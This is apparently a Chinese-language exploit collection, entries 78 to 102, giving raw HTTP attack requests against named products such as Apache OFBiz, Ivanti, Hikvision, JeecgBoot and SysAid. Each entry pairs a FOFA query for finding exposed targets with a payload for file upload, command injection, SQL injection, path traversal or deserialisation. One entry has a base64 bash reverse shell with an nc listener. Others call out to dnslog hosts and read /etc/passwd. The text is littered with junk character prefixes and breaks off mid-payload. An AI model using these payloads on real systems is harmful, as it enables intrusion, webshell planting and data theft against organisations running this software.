" J4 ]. a; o4 t$ w' [2 [  W0 xPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* `) O/ \/ X3 N! P$ QConnection: close
& k( T8 p$ y- _! w* IContent-Length: 433
$ r" a* ~. V7 DAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

/ v+ n' E) H( L/ ]+ |, a9 t$ v------------398jnjVTTlDVXHlE7yYnfwBoix
8 E0 c: j6 x- H2 D8 O3 X8 X! \Content-Disposition: form-data; name="folder"
% V6 x; p8 B/ f
7 M" D- m- X) L8 V. I0 ?/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

# v* f5 o: d& ~5 u+ Xhello1234567
. e( A- U- H! a2 d  E& c------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

& z# R3 B9 \& o; f$ f) XSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
# x$ X2 T; G. }0 \1 Z  j. U7 q! G

* u# \: s5 a8 [/ [1 k" J4 q78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
3 z0 ]; a( R3 c+ I2 c, VFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
5 O7 D* K) ~+ N6 `3 W# iHost: x.x.x.x
, o% E- W5 x5 @7 v# v+ QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 A$ Z- h/ H- t7 e! y# UContent-Length: 336
Accept-Encoding: gzip
1 L; {! A7 f! C" d/ eContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

  \# j0 [& s7 Q" ^2 {+ M, X------YsOxWxSvj1KyZow1PTsh98fdu6l
) T7 H) {8 V1 ^0 ], `/ ]Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
1 j3 J* x6 Q8 Q, PContent-Type: image/png
, V/ K3 U( I1 p" P* U- t
YsOxWxSvj1KyZow1PTsh98fdu6l
$ Q+ F$ k$ [: c! j------YsOxWxSvj1KyZow1PTsh98fdu6l
$ u" h) F: t! e/ p  v* O3 l$ SContent-Disposition: form-data; name="target"
) f! N( ?5 q1 q" ^
/Applications/SkillDevelopAndEHS/
; Q/ z; ]  g* v% w2 F------YsOxWxSvj1KyZow1PTsh98fdu6l--

3 x7 y8 n0 S, v& c0 q; N9 W* \
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
6 Y+ N8 q2 C( O/ ?2 b

: w$ ?6 g( k+ m; d  x1 o' u79. BYTEVALUE 百为流控路由器远程命令执行
0 K2 b; J! g3 ^; D6 N# E4 f! RFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
2 I) t5 ^! a5 c1 ]+ x9 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; u& W6 G3 U+ m! _' m" C9 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 Z/ G, {$ E) k: a: nAccept-Encoding: gzip, deflate
! `& R- I" {4 o' E+ t- ?1 d4 GConnection: close
Upgrade-Insecure-Requests: 1
( X  `' r) U/ Q
# L- F! D8 {5 ^
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
$ M9 T9 f+ z1 t& c' E6 [& u+ x$ v# _FOFA：app="速达软件-公司产品"
! v% P6 c0 w8 {8 l3 _, JPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
! z2 r' z+ L% z1 uHost: x.x.x.x
, I5 ^) x2 K' m: y% TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; j, g: T$ C5 F( r6 |Content-Length: 27
' V9 q* _- ?& \& A% G, ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 n; g8 [. x/ x- k# n" G( rAccept-Encoding: gzip, deflate
: X% o4 I( [% x2 w/ SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 y% n% h/ X8 o, N5 \! S! JContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
  x- p! y, Q3 p5 a
<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% w& M5 l! w, a! D; RAccept-Encoding: gzip

9 b/ ~- N( p* ^7 w
5 l) H) \1 x* w1 d& n# @; e81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
: D1 @9 m+ C$ C( l: mHost: x.x.x.x
- T2 G& ?% B& e; ]! t' K( fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( p- U  ^( H0 H1 T) @$ vConnection: close
! R, v4 W& Q7 i3 R) t6 n: SAccept-Encoding: gzip
# A/ _; r% K# |
, y+ c5 H- {9 O7 |4 f
& n' a3 v. c4 j2 M) V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
, {. U& `& Z6 x3 ^8 I% qHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
; x% [7 m4 C# v( X. `4 mAccept-Encoding: gzip
# u' h  n5 V! X6 x0 q- e9 ZConnection: close
Content-Type: application/x-www-form-urlencoded
( k" ~/ ?0 C3 X4 o: |- K7 {; ]Referer: BaseURL
" F# g! D5 ~: M) |
; u, h2 K- u9 dz1=1&z2="|id;"&z3=bhost
( E/ F, e; y- D; d' G0 q

( _  a) J; H1 r: {2 P4 V+ D83. JeecgBoot testConnection 远程命令执行
6 ~4 ~+ ~8 t# {3 J! B! [FOFA：title=="JeecgBoot 企业级低代码平台"
5 M% q! t$ m0 E

POST /jmreport/testConnection HTTP/1.1
& k5 @' Y$ b  z: ?5 t+ aHost: x.x.x.x
" t9 b5 T1 ?7 R8 |  U% eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
, C# J4 b# k$ m: VContent-Type: application/json
# k7 ^5 d, p9 T: G( H1 Y
9 g4 H% h* y* ^# fPAYLOAD
' f  r( c  W' F8 r* S& C  L
4 D; |4 @7 ?: W; b# V84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. T# `4 V6 c. q$ H% \& q: vFOFA：title=="JeecgBoot 企业级低代码平台"

, b* f% t. J1 O+ l( l) p

6 k# U: t" ]. \" ^- x$ V( GPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
: \. N% S1 j+ D# EAccept: */*
Connection: close
4 V) ?/ n7 A  B8 vContent-Type: application/json
$ ]% U- d% m5 Q( f2 pAccept-Encoding: gzip
& Z! b9 w2 g! p9 y& _+ \
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
; D  e) C  ]2 g* m/ @8 V1 t
2 T( J7 F5 p3 D; C) Q* B
* b; {9 ?0 @2 t7 u( l$ I85. SysAid On-premise< 23.3.36远程代码执行
0 m9 L7 M; N/ ]  `# v# kCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
$ H4 o/ q% o- T9 ePOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
0 M! R3 g/ p/ {, p" S' U5 ^- ~5 }& f2 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
* s/ t+ N' C0 e! c; ~  I" g4 r' F% {' L
PAYLOAD

& B5 W3 G7 d# S% g6 x" m回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
" y" d7 L8 R2 V* @( m9 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
% X& m2 f# T/ Y6 ]8 V9 T6 c7 YContent-Length: 44
Accept: */*
: H, g/ a# n! x  Q) E  {" GAccept-Encoding: gzip
7 ?: G6 e! h) V, gAccept-Language: en
* A* J8 R! U# B! v6 aContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
% f3 g; C) O  w  G+ C

87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
' Z  e/ ?" J! t( z) y* i( _  M* e# U0 {POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
0 o# `4 c6 J/ k7 U: |3 r1 c1 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
" @3 A, N0 H! ?) MAccept-Encoding: gzip
. e# `, n# z3 S& p# OContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

! W* m$ y# B9 z  f--qqobiandqgawlxodfiisporjwravxtvd
% Z2 Q& h% s2 ^6 _( R1 kContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
. L2 q& X3 }2 \" E9 k4 v! V/ E  ^2 P+ sContent-Type: text/plain

# n5 p* Z# [( H" n6 T. d1 g2 b2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
( @  K+ m3 g2 z& p8 m

/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
0 h6 B0 Z0 `: g$ Z' p7 Q0 D7 ~GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
% s$ R9 O/ S' z  H- F0 k$ L, E/ G3 ^Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 n3 H2 S, |1 R1 u" xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 b9 o  _" Y' O# M1 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 H+ U* l) c# GConnection: close

  P/ K) E0 j/ n, T9 t1 N8 B: o# D
/astdfkhl.php
# Z% Z9 @" i" ?5 z# x0 e9 y
# X: O: {7 B2 b) C7 a' }- A$ ^89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
1 S* _+ B9 C: ePOST /sysform/003/editflow_manager.js%70 HTTP/1.1
7 C0 ~& u9 k  J2 ]+ b5 THost: x.x.x.x
- s. ^0 I: D* i# _- t9 v5 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* h7 m- ]2 v4 P! W/ T2 y  WConnection: close
) p  W; T  l8 Q: L5 J' H8 bContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
6 z7 R  S* K+ _4 u+ N

+ F  h9 F6 O- G" G5 x90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
. d! J( O- u. B3 q+ fFOFA：icon_hash="-1830859634"
( g/ }& S8 U7 c( Y( A% \9 K, sPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
% A8 _! n- r& X& m, W5 I+ E# \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
! m' ^* K; Y# |- b) AContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
/ }3 n# R* z) u& T) z4 g# pAccept-Encoding: gzip, deflate
2 F& l% M4 `3 ^7 q2 t: @( TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, s$ o; N+ d& N. w, t2 N/ IConnection: close
) {6 `9 x0 X3 t7 L  l% hContent-Type: application/x-www-form-urlencoded
$ g7 B6 s  U$ rX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

+ U9 p6 |) v% a; G% R% x5 I% W
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
% Q$ f, m$ L0 F% k' E/ h6 hFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
# q$ e' R  d. k& {( k8 r, G; {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 V2 q/ d5 r0 o, u$ B' _: S: xAccept-Encoding: gzip, deflate
/ }0 F$ S4 j7 P. {% X2 ^Accept: */*
Connection: keep-alive
* n' [3 ~% ^  E: }% K% I$ C


92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
8 H6 q7 S/ F; V3 hHost:
; n" m$ V. M, H: @Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
0 g3 E+ L3 g/ V  Z* o( l: dX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
3 l8 V$ a# G8 K) s+ yTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
# x7 x4 V8 K' c( e: L! o  I5 @
5 L5 R6 E' e7 M' D; V6 jPAYLOAD
$ f& W2 e6 E& ~9 a1 W8 @- b

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
+ T3 E2 B5 v  ~. n/ w' ~2 Q) ZFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
- s+ O2 R8 A* B  H, n2 d  IPOST /?g=app_av_import_save HTTP/1.1
; X, z3 a" m% @8 B( D7 V3 h* }Host: x.x.x.x
' V2 K) R5 q) r* i/ [Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 O2 J$ L3 |" S  Q8 t
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
- l6 }, T+ n  ~+ g  t
( }" I4 ?2 E& e6 }6 a10000000
------WebKitFormBoundarykcbkgdfx
4 Y% i+ k. k7 r2 s$ lContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
; C, ~& f: C( M# u! l6 [9 Q& x; ?Content-Type: text/plain
6 N5 \* L$ [3 C9 g6 m7 }
$ x0 N% @  O! u& K* E8 Nwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
8 E, O" t. i; B; w! C# K------WebKitFormBoundarykcbkgdfx
- k4 y. c# _8 ~6 AContent-Disposition: form-data; name="__hash__"
  r* y  F) d1 I6 w% I
* K/ K. T+ x) n6 q) z, s, P0b9d6b1ab7479ab69d9f71b05e0e9445
* i2 g! F3 O: g& i------WebKitFormBoundarykcbkgdfx--
3 M- _% M5 l/ {, V% z' O

9 n7 ?! r, H* `9 i3 r) }/ e, ?2 BGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

" u- ~: X0 W3 m" X
/ D6 _  G* c* m, V/ V, R: U94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
. O& G: t4 v. B" ]) SFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
/ \7 m" h! F' |/ ?. o! QHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 e  h2 {5 T* L1 D7 {* j
------WebKitFormBoundarybqvzqvmt
' G* f4 }$ T) O5 kContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
  H5 W! A$ C" p/ _* C( f------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
- k; H  c/ h( j; m) v( q& J1 l
3 {- D; m( K7 a# b  G- d' wpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

- g. {+ ?( c, E9 {% v7 i. X4 vobj_app_upfile
& r" F& c) r. o2 b$ z3 r3 b0 b------WebKitFormBoundarybqvzqvmt
* t. E" q1 Q5 l# j. M* qContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
% c% U+ ^2 \+ U9 f* B9 H4 k" {------WebKitFormBoundarybqvzqvmt--

2 ?9 M" ^$ d5 {- |$ ~" i
; f2 X  \3 F+ \
5 [. r# y+ s, G! IGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
, I* f7 y5 \$ |5 S: X  sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) C* v( K( g$ L4 P: t

* N2 s0 t5 g4 W- u! I) A" O
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
5 g# k& q/ I/ @0 r6 c  x8 Q6 WContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
, B* X* d- S8 _2 B. M   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
+ o  ~- u* f1 R; w' {      <param>
- Q; n, l; ~$ _      <value>
4 Z7 o7 q7 v' N+ i        <struct>
1 A9 V) w3 U) V       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
3 O% O( [- S7 q      </struct>
  p0 z( Y8 _8 x* z3 `      </value>
4 ?4 t" u: s. }+ J7 z5 I+ w    </param>
    </params>
" O+ S/ F. p; ?</methodCall>
' V, {2 o% k- o( e6 l' w+ }5 o1 v

( m' T" O/ Y9 v5 q! e! T用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

$ U0 j0 b" N+ j7 d# r
! E: T5 O) @# `5 B6 T9 k将生成的payload替换到上面的POC
; Q: f  r; t% j( w% m5 p; nPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
: T, c0 W6 `' U) d! b2 n/ g% vContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
7 @9 J1 M6 o& w' V* `- }/ S4 Q
$ R1 ], }& k( S9 APAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
8 @* @' U  f. {$ S$ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 a. U4 _' N" m, ^: pAccept: */*
0 A& O: S. q) j  oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: ]1 s/ @7 G" J# V; o4 v2 kContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

0 K' T$ w$ p3 Q4 r5 [' v. `
反弹shell
在kali上启动一个监听
nc -lvp 7777

0 k, [/ Q, l/ g2 F; y/ m& oPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
. s' z1 ?/ ^9 \$ [. Q& GHost: 192.168.40.130:8443
2 G7 @7 u: F. ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 l0 F& O' _# KAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
" d1 Y  q8 c( p) g5 H, V% WContent-Length: 71
5 {% J! S- P) e$ o
6 s2 a6 B9 @' F- c- t+ D: d/ vgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
' j0 E6 C% u& Z: B! {GET /passport/login/ HTTP/1.1
9 Q' x; y  U: h4 E/ t0 @, |& f% ?Host: 192.168.40.130:8085
" V1 b* E0 H7 B; C1 gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
0 T  F' D! b3 l. P: g/ i; @Cookie: rememberMe=PAYLOAD
! A) z# B: v; D: rX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
: `+ T$ t9 E; h& b
$ V! K1 F- L% F* }( n, w5 D' G: n
, f4 m  u1 {' |, `$ }, G98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
: }& L) Y1 r  THost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 M1 f; K7 \) R- F# K1 sConnection: close
1 ~) |! ^. s3 w& M% r5 [3 tContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ O2 Z; i- N/ p& q# y9 k' IContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
' O. s3 t: t0 M
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
; V  x' S5 h* N- m
2 i/ n# ]4 }# ]: `. x+ Y
! [) ]; Z) d3 ^! {2 A! @99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
" ?0 r+ e7 d2 R8 W, G% ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
. j, \- U5 R$ n+ OContent-Length: 154
5 M4 m% v& J- X5 G) w+ w9 K+ _Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

. E! `& O: n/ |  O. M, R) h5 @
" n1 o2 u  v+ i/ g100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
$ y) p; g; ?/ X( D4 i8 D  xFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
* D+ z7 e( L. X! s$ cUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+ P2 l6 D& s, [: ]Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
8 {0 k7 _1 a- ~+ y) XAccept-Encoding: gzip

: }- q$ s% N2 K. j: ~/ m------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
( e0 e. C8 S, L
$ F9 L& c* @- u! {$ e" {) r. j6 E
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
  y9 k0 p; p+ e7 {$ Q8 AFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
# E5 ^0 A! ]2 o9 [% M8 ZHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ G/ U: @. O. _8 NConnection: close
3 g" k2 w% c3 r/ aAccept-Encoding: gzip

+ @! T6 e0 g& `. L7 e5 p/ n3 A
0 q  s; m6 n( f5 F5 p* b! \102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
5 V6 y% y$ k7 FCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
5 Y8 ?. a$ g2 z( }: D' [. mHost: x.x.x.x
, X' S0 ]/ r6 `' X1 `! h* HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 }- H( F* k4 Z5 YConnection: close
Content-Length: 792
0 w) S* N" m3 Y% S- L  p0 qAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   